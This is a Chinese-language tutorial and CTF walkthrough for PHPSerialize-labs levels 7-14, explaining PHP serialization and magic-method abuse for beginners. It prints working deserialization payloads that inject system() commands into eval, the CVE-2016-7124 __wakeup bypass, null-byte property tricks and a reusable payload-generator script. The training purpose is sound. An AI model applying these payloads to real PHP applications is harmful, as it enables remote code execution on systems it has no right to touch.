本文基于 PHPSerialize-labs 靶场 Level 7-14 整理,面向零基础小白。 参考文章:HelloCTF - PHP 反序列化基础
想象你要搬家,家里有一套乐高积木(对象)。你不能直接搬着拼好的飞船走,因为路上会散架。于是你把它拆成零件,装进盒子,贴上标签(序列化)。到了新家,你按标签把零件拼回飞船(反序列化)。
在 PHP 中:
serialize():把 PHP 的变量(对象、数组、字符串等)变成一串可传输的文本字符串。unserialize():把这串文本还原成原来的变量。看到一串像 O:4:"FLAG":1:{s:12:"flag_command";s:24:"echo 'Hello CTF!<br>';";} 这样的东西不要慌,我们来逐字拆解:
| 符号 | 含义 |
|---|---|
O | Object(对象) |
:4 | 类名长度为 4 |
"FLAG" | 类名叫 FLAG |
:1 | 这个对象有 1 个属性 |
{...} | 属性列表的开始和结束 |
s | 属性名是字符串(string) |
:12 | 属性名长度为 12 |
"flag_command" | 属性名 |
s:24:"..." | 属性值是长度为 24 的字符串 |
核心结论:反序列化时,PHP 会根据这串字符重新"捏"一个对象出来,并且完全按照字符串里的值给属性赋值——即使这些值和类里原本定义的不一样!
魔术方法就是 PHP 中以双下划线 __ 开头的方法,它们会在特定时机自动触发,不需要你手动调用。
| 魔术方法 | 触发时机 | 危险程度 |
|---|---|---|
__construct() | 创建对象时(new) | 一般 |
__destruct() | 对象被销毁时(脚本结束、unset、反序列化后的对象销毁) | ⭐⭐⭐ 极高 |
__wakeup() | 反序列化 unserialize() 开始时 | ⭐⭐⭐ 极高 |
__sleep() | 序列化 serialize() 之前 | 中等 |
__toString() | 对象被当作字符串使用时(echo $obj、$obj . "abc") | ⭐⭐⭐ 极高 |
__invoke() | 对象被当作函数调用时($obj()) | ⭐⭐⭐ 极高 |
为什么反序列化漏洞危险?
因为 unserialize() 会帮你自动实例化一个对象,如果这个对象的类里有 __destruct()、__wakeup() 等魔术方法,它们会在你意想不到的时候自动执行。如果这些方法里写了 eval()、system()、include() 等危险函数,攻击者就能控制这些函数的参数,实现代码执行。
phpclass FLAG{
public $flag_command = "echo 'Hello CTF!<br>';";
function backdoor(){
eval($this->flag_command); // 执行 flag_command 里的代码
}
}
$unserialize_string = 'O:4:"FLAG":1:{s:12:"flag_command";s:24:"echo \'Hello World!<br>\';";}';
$Unserialize_object = unserialize($unserialize_string);
$Unserialize_object->backdoor(); // 输出 Hello World!
FLAG 类里有一个属性 $flag_command,默认是输出一句话。backdoor() 方法里用了 eval(),它会把字符串当 PHP 代码执行。phpunserialize($_POST['o'])->backdoor();
它接收你 POST 过来的序列化字符串,反序列化成对象,然后立刻调用 backdoor()。反序列化时,PHP 会按照你传入的字符串重新给属性赋值。原本 $flag_command 是 "echo 'Hello CTF!<br>';",但你可以在序列化字符串里把它改成任何你想要的代码!
这里由于部署在windows系统下,所以我们使用type来代替cat命令

然后查看源码

或者使用file_get_contents 函数,它不依赖操作系统命令,也不容易被 disable_functions 禁用
第一步:本地构造恶意对象
php<?php
class FLAG{
public $flag_command = "system('tac flag.php');"; // 读取 flag 文件
}
echo serialize(new FLAG());
?>
第二步:运行得到 Payload
O:4:"FLAG":1:{s:12:"flag_command";s:22:"system('tac flag.php');";}
第三步:POST 提交 o=O:4:"FLAG":1:{s:12:"flag_command";s:22:"system('tac flag.php');";}
知识点:
system()是 PHP 执行系统命令的函数;tac是 Linux 命令,按行倒序输出文件内容(和cat类似)。
phpglobal $destruct_flag, $construct_flag;
$destruct_flag = 0;
$construct_flag = 0;
class FLAG {
public $class_name;
public function __construct($class_name) {
$this->class_name = $class_name;
global $construct_flag;
$construct_flag++; // 构造次数 +1
echo "Constructor called " . $construct_flag . "<br>";
}
public function __destruct() {
global $destruct_flag;
$destruct_flag++; // 析构次数 +1
echo "Destructor called " . $destruct_flag . "<br>";
}
}
/*Object created*/
$demo = new FLAG('demo');
/*Object serialized*/
$s = serialize($demo);
/*Object unserialized*/
$n = unserialize($s);
/*unserialized object destroyed*/
unset($n);
/*original object destroyed*/
unset($demo);
new FLAG();
Object created:Constructor called 1
Object serialized: But Nothing Happen(:
Object unserialized:But nothing happened either):
serialized Object destroyed:Destructor called 1
original Object destroyed:Destructor called 2
This object ('new FLAG();') will be destroyed immediately because it is not assigned to any variable:Constructor called 2
Destructor called 3
new 时调用构造函数,每次调用计数器 $construct_flag 加 1。
对象销毁时调用析构函数,每次调用计数器 $destruct_flag 加 1。
序列化和反序列化不触发构造/析构(除非有 __wakeup 等魔术方法)。
没有变量引用的对象会被立即销毁(也就是不是$s=new FLAG();而是直接new FLAG();),所以 new FLAG(); 会先构造后立刻析构。
下半部分题目:
phpclass RELFLAG {
public function __construct() {
global $flag;
$flag = 0;
$flag++;
echo "Constructor called " . $flag . "<br>";
}
public function __destruct() {
global $flag;
$flag++;
echo "Destructor called " . $flag . "<br>";
}
}
function check(){
global $flag;
if($flag > 5){
echo "HelloCTF{???}";
}else{
echo "Check Detected flag is ". $flag;
}
}
if (isset($_POST['code'])) {
eval($_POST['code']);
check();
}
__construct():只在 new 创建对象时触发,反序列化不会触发!__destruct():在对象被销毁时触发。包括:
unset($obj) 手动销毁__destruct()!题目要求 $flag > 5 才能拿到 flag。$flag 在 __construct() 里先被重置为 0 再加 1,在 __destruct() 里再加 1。
new)→ 触发 __construct(),$flag 先变 0 再加 1 → $flag = 1__destruct(),$flag 再加 1注意:new FLAG() 会触发 __construct(),但 unserialize() 不会触发 __construct(),只会触发 __destruct()!
所以我们的思路是:通过多次 new 和多次 unserialize+unset 来累加 $flag。
这里我是反复反序列化3次,unset3次+一开始new 时调用构造函数一次+unset一开始的构造一次
phpcode=$s=new RELFLAG();$d = serialize($s);$f=unserialize($d);unset($f);$e=unserialize($d);unset($e);$g=unserialize($d);unset($g);$h=unserialize($d);unset($h);unset($s);

或者使用clone
clone 不会触发构造函数,但克隆出来的对象销毁时会触发析构函数。这样你可以只构造一次,然后批量克隆和销毁

php$obj = new RELFLAG(); // $flag = 1
$arr = [];
for ($i = 0; $i < 5; $i++) {
$arr[] = clone $obj; // 克隆 5 个,不触发构造
}
unset($arr); // 销毁 5 个克隆对象,析构 5 次,$flag = 1 + 5 = 6
提示
为什么第二个最后还有一次销毁呢?
PHP 是一种脚本语言,当整个脚本执行完毕后,它会自动清理所有变量和内存,包括你创建的每一个对象。这个清理过程中,如果对象定义了析构函数 __destruct(),PHP 就会调用它。
也就是说:
你手动 unset($obj) → 对象被销毁,触发析构。 你不手动 unset,等脚本自然结束 → 对象也会被销毁,同样触发析构。
两者效果一样,只是时间不同:手动 unset 是在代码中间立即销毁;自动销毁是在脚本最后。
或者可以使用这个(官方题解)
phpcode=unserialize(serialize(unserialize(serialize(unserialize(serialize(unserialize(serialize(new RELFLAG()))))))));
提示
整个表达式执行完毕后,$flag 的变化如下:
| 阶段 | 对象 | 触发情况 | 后 $flag |
|---|---|---|---|
new RELFLAG() | 临时对象 A | 构造,$flag=1 | 1 |
serialize(A) 后 A 销毁 | A | 析构,$flag++ | 2 |
unserialize(S1) 生成 B | B | 无 | 2 |
serialize(B) 后 B 销毁 | B | 析构 | 3 |
unserialize(S2) 生成 C | C | 无 | 3 |
serialize(C) 后 C 销毁 | C | 析构 | 4 |
unserialize(S3) 生成 D | D | 无 | 4 |
serialize(D) 后 D 销毁 | D | 析构 | 5 |
unserialize(S4) 生成 E | E | 无 | 5 |
serialize(E) 后 E 销毁 | E | 析构 | 6 |
最外层 unserialize(S5) 生成 F,但尚未销毁 | F | 无 | 6 |

POST 提交 code 参数:
正确思路:利用反序列化不触发 __construct() 的特性!
php$exp1 = new RELFLAG(); // construct: flag=0→1, 然后destruct: flag=2
$exp2 = new RELFLAG(); // construct: flag=0→1, 然后destruct: flag=2
// 这样不够...
实际上,因为 __construct 会重置 $flag,我们需要避免多次调用 __construct,而多次调用 __destruct。
Payload 思路:创建一个对象,序列化它,然后反复反序列化并销毁:
php$exp = new RELFLAG(); // construct触发1次,flag先变0再加1=1
$s = serialize($exp);
// 反序列化不会触发construct,但unset会触发destruct
$n1 = unserialize($s); unset($n1); // destruct: flag=2
$n2 = unserialize($s); unset($n2); // destruct: flag=3
$n3 = unserialize($s); unset($n3); // destruct: flag=4
$n4 = unserialize($s); unset($n4); // destruct: flag=5
$n5 = unserialize($s); unset($n5); // destruct: flag=6
当 check() 执行时,$flag = 6 > 5,拿到 flag。
完整 Payload(URL 编码后 POST 提交 code):
php$exp=new RELFLAG();$s=serialize($exp);$n1=unserialize($s);unset($n1);$n2=unserialize($s);unset($n2);$n3=unserialize($s);unset($n3);$n4=unserialize($s);unset($n4);$n5=unserialize($s);unset($n5);
phpclass FLAG {
var $flag_command = "echo 'HelloCTF';";
public function __destruct() {
eval ($this->flag_command); // 析构时执行命令
}
}
unserialize($_POST['o']);
这题和 Level 7 很像,但没有直接调用方法,而是把危险代码放在了 __destruct() 里。
当你 POST 一个序列化字符串后:
unserialize() 创建了一个 FLAG 对象__destruct() → eval() 执行这里我的部署方式有点问题,所以flag找不到,使用type读下index.php作为示范
payload的构造可以使用这段php代码来运行还不容易出错
php<?php
class FLAG{
var $flag_command = "system('type /flag');";
}
echo serialize(new FLAG());
?>


php<?php
class FLAG {
var $flag_command = "system('tac flag.php');";
}
echo serialize(new FLAG());
?>
Payload:
o=O:4:"FLAG":1:{s:12:"flag_command";s:22:"system('tac flag.php');";}
这里你是否感觉和level7有些相像呢?
| 关卡 7 | 关卡 9 | |
|---|---|---|
| 触发函数 | backdoor() 方法 | __destruct() 析构函数 |
| 触发方式 | 手动调用 ->backdoor() | 自动触发(对象未被引用被销毁) |
| 关键代码 | unserialize($_POST['o'])->backdoor(); | unserialize($_POST['o']); |
| 利用点 | 控制 flag_command 属性 | 控制 flag_command 属性 |
| Payload 结构 | 同左,类名 FLAG,属性 flag_command | 同左,类名 FLAG,属性 flag_command |
两关的 Payload 完全一样(因为类名和属性名都相同),只是关卡 7 需要额外写 ->backdoor() 来手动触发,而关卡 9 不需要,因为对象会自动销毁并触发析构。
phpclass FLAG{
function __wakeup() {
include 'flag.php';
echo $flag;
}
}
if(isset($_POST['o'])) {
unserialize($_POST['o']);
}
__wakeup() 是一个在反序列化开始时自动调用的魔术方法。题目里它直接 include 'flag.php' 并 echo $flag。
unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。
__wakeup() 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。
这题非常简单,因为 __wakeup() 里没有过滤,直接反序列化就会触发。
php<?php
class FLAG{}
echo serialize(new FLAG());
?>
Payload:
o=O:4:"FLAG":0:{}
0:{}表示这个对象有 0 个属性。因为__wakeup()不需要任何属性就能触发。
phpinclude 'flag.php';
class FLAG {
public $flag = "FAKEFLAG";
public function __wakeup(){
global $flag;
$flag = NULL; // 把真正的 flag 清空!
}
public function __destruct(){
global $flag;
if ($flag !== NULL) {
echo $flag; // 输出真正的 flag
} else {
echo "sorry,flag is gone!";
}
}
}
if(isset($_POST['o'])) {
unserialize($_POST['o']);
}
在这个 FLAG 类中:真实属性数量是 1($flag)。
而这里提交的 O:4:"FLAG":0:{} 中,声明的属性数量是 0。
因为 0 < 1,不满足漏洞触发条件(需要 大于)

__wakeup() 在反序列化时先执行,把 $flag 设为 NULL__destruct() 在对象销毁时执行,检查 $flag 是否为 NULL$flag 被 __wakeup() 清空了,就输出 "sorry,flag is gone!"问题:怎么让 __wakeup() 不执行?
这是 PHP 的一个历史漏洞,影响版本:PHP 5 < 5.6.25 / PHP 7 < 7.0.10。
漏洞触发条件:当序列化字符串中声明的属性个数大于实际属性个数时,PHP 会跳过 __wakeup() 的执行!
从题目给的 phpinfo() 可以看到当前是 PHP 5.4.45,正好在这个漏洞影响范围内。

第一步:构造正常序列化字符串
php<?php
class FLAG {
public $flag = "FAKEFLAG";
}
echo serialize(new FLAG());
?>
输出:
O:4:"FLAG":1:{s:4:"flag";s:8:"FAKEFLAG";}
第二步:修改属性个数
把 :1:(表示有1个属性)改成 :2:(表示有2个属性,但实际只有1个):
O:4:"FLAG":2:{s:4:"flag";s:8:"FAKEFLAG";}
第三步:POST 提交

o=O:4:"FLAG":2:{s:4:"flag";s:8:"FAKEFLAG";}
此时 PHP 发现"声明了2个属性,但大括号里只有1个",认为数据异常,跳过 __wakeup(),直接反序列化。对象销毁时 __destruct() 执行,$flag 仍然是 flag.php 里的值,成功输出 flag。
注意:这个漏洞在 PHP 7.0.10+ 和 PHP 5.6.25+ 已被修复,所以靶场特意用了老版本 PHP。
phpclass FLAG {
private $f;
private $l;
protected $a;
public $g;
public $x,$y,$z;
public function __sleep() {
return ['x','y','z']; // 只序列化 x, y, z
}
}
class CHALLENGE extends FLAG {
public $h,$e,$l,$I,$o,$c,$t,$f;
function chance() {
return $_GET['chance']; // 从 URL 参数获取
}
public function __sleep() {
/* FLAG is $h + $e + $l + $I + $o + $c + $t + $f + $f + $l + $a + $g */
$array_list = ['h','e','l','I','o','c','t','f','f','l','a','g'];
$_=array_rand($array_list);$__=array_rand($array_list);
return array($array_list[$_],$array_list[$__],$this->chance());
}
}
echo serialize(new CHALLENGE());
__sleep() 在序列化之前调用,它返回一个数组,数组里的元素是要被序列化的属性名。CHALLENGE 类的 __sleep() 每次随机选两个属性,再加上 $this->chance()(即你 GET 传入的 chance 参数)。$h + $e + $l + $I + $o + $c + $t + $f + $f + $l + $a + $g这是本题的难点。PHP 中:
s:1:"h";%00*%00,即 %00*%00a%00类名%00,即 %00FLAG%00f 和 %00FLAG%00l
%00是 ASCII 码为 0 的空字符(null byte),在 URL 中需要编码为%00。
题目提示 FLAG is $h + $e + $l + $I + $o + $c + $t + $f + $f + $l + $a + $g,也就是说 flag 由这些变量的值按顺序拼接。
我们需要逐个获取这些属性的值。方法是通过 GET 参数 chance 指定你想序列化的属性名。
获取 public 属性(如 h, e, l, I, o, c, t, f, g):
直接访问:
?chance=h ?chance=e ...
获取 protected 属性($a):

?chance=%00*%00a
获取 private 属性(l,注意它们定义在父类 FLAG 中):

?chance=%00FLAG%00f ?chance=%00FLAG%00l
每次请求会返回类似:
O:9:"CHALLENGE":3:{s:1:"c";s:7:"before_";s:1:"o";s:7:"called_";s:17:"you shuold use it";N;}
其中 s:1:"c" 的值就是 before_,s:1:"o" 的值就是 called_。通过多次请求收集所有片段,拼接出完整 flag。
小技巧:因为每次随机返回两个属性,你可以多次请求同一个
chance,观察第三个位置(即你指定的chance对应的值)。
好问题。用快递比喻一句话说完:
__sleep()就是"打包清单"。没有它,打包员会把所有东西(包括保险箱里的)全倒出来给你看;有了它,打包员只按清单打包,但清单最后一栏让你自己填,你填个暗号,他就把藏起来的也拿出来了。
__sleep() vs 没有 __sleep()__sleep()(假设代码里删掉这两个 __sleep 函数)你直接访问页面,serialize(new CHALLENGE()) 会输出:
O:9:"CHALLENGE":12:{ s:1:"h";s:1:"H"; s:1:"e";s:1:"e"; s:1:"l";s:1:"l"; ... s:7:"%00FLAG%00f";s:5:"part9"; s:7:"%00FLAG%00l";s:5:"part10"; s:4:"%00*%00a";s:5:"part11"; s:1:"g";s:5:"part12"; }
所有属性,包括爸爸保险箱里的,一次性全给你。
这题就直接废了,flag 白给,根本不需要你构造什么 chance 参数。
__sleep()(就是现在的题目)FLAG::__sleep() 说:"只打包 x、y、z。"
所以直接 serialize(new FLAG()),你只能看到三个空值:
O:4:"FLAG":3:{s:1:"x";N;s:1:"y";N;s:1:"z";N;}
CHALLENGE::__sleep() 说:"只打包 3 个东西:随机 2 个 + 你自己指定的 1 个。"
这就把输出限制死了。正常情况下你每次只能看到 3 张纸条,而且前两张还是随机的,flag 永远看不全。
但漏洞就在这里:第三张纸条的名字由你控制($_GET['chance'])。
你可以填 h,他就给你 h 的值;你填 %00FLAG%00f,他就去爸爸保险箱里把 private $f 翻出来给你。
如果没有 __sleep(),这题就没有"锁",也就没有"开锁"的过程,flag 直接裸奔。
没有 __sleep(),这题就不存在"绕过",因为压根没有限制。
phpclass FLAG {
function __toString() {
echo "I'm a string ~~~";
include 'flag.php';
return $flag;
}
}
$obj = new FLAG();
if(isset($_POST['o'])) {
eval($_POST['o']);
}
__toString() 在对象被当作字符串使用时自动触发,常见场景:
echo $objprint $obj$obj . "abc"(字符串连接)strval($obj)题目里 $obj 已经实例化好了,而且你的输入会被 eval() 执行。
我们需要让 $obj 被当作字符串处理。因为 eval() 会执行我们传入的 PHP 代码:
POST 提交:
o=echo $obj;
当 eval('echo $obj;') 执行时,echo 需要把 $obj 转成字符串 → 触发 __toString() → include 'flag.php' → 返回 $flag → 输出 flag。
phpclass FLAG{
function __invoke($x) {
if ($x == 'get_flag') {
include 'flag.php';
echo $flag;
}
}
}
$obj = new FLAG();
if(isset($_POST['o'])) {
eval($_POST['o']);
}
__invoke() 在对象被当作函数调用时触发,即 $obj()。
__invoke() 也可以接受参数
题目要求传入的参数 $x 必须等于 'get_flag'。
POST 提交:
o=$obj('get_flag');
eval() 执行 $obj('get_flag'),把 $obj 当作函数调用 → 触发 __invoke('get_flag') → 参数匹配 → 输出 flag。
| 步骤 | 说明 |
|---|---|
| 1. 找入口 | 找到 unserialize($_POST['x']) 或 eval() 等可以执行代码的地方 |
| 2. 找类 | 找到定义了危险魔术方法的类(__destruct、__wakeup、__toString、__invoke) |
| 3. 找危险操作 | 看魔术方法里有没有 eval()、system()、include()、file_get_contents() 等 |
| 4. 构造链子 | 通过控制对象的属性值,把恶意参数送进危险函数 |
| 5. 生成 Payload | 用 serialize() 生成字符串,根据需要修改(如 CVE-2016-7124 改属性个数) |
php<?php
// 根据题目修改类名和属性
class FLAG {
public $cmd = "system('whoami');";
}
// 生成序列化字符串
$payload = serialize(new FLAG());
echo $payload . "\n";
// 如果需要 URL 编码
echo urlencode($payload) . "\n";
// 如果需要 CVE-2016-7124 绕过(把属性个数改大)
$payload = str_replace(':1:', ':2:', $payload);
echo $payload . "\n";
?>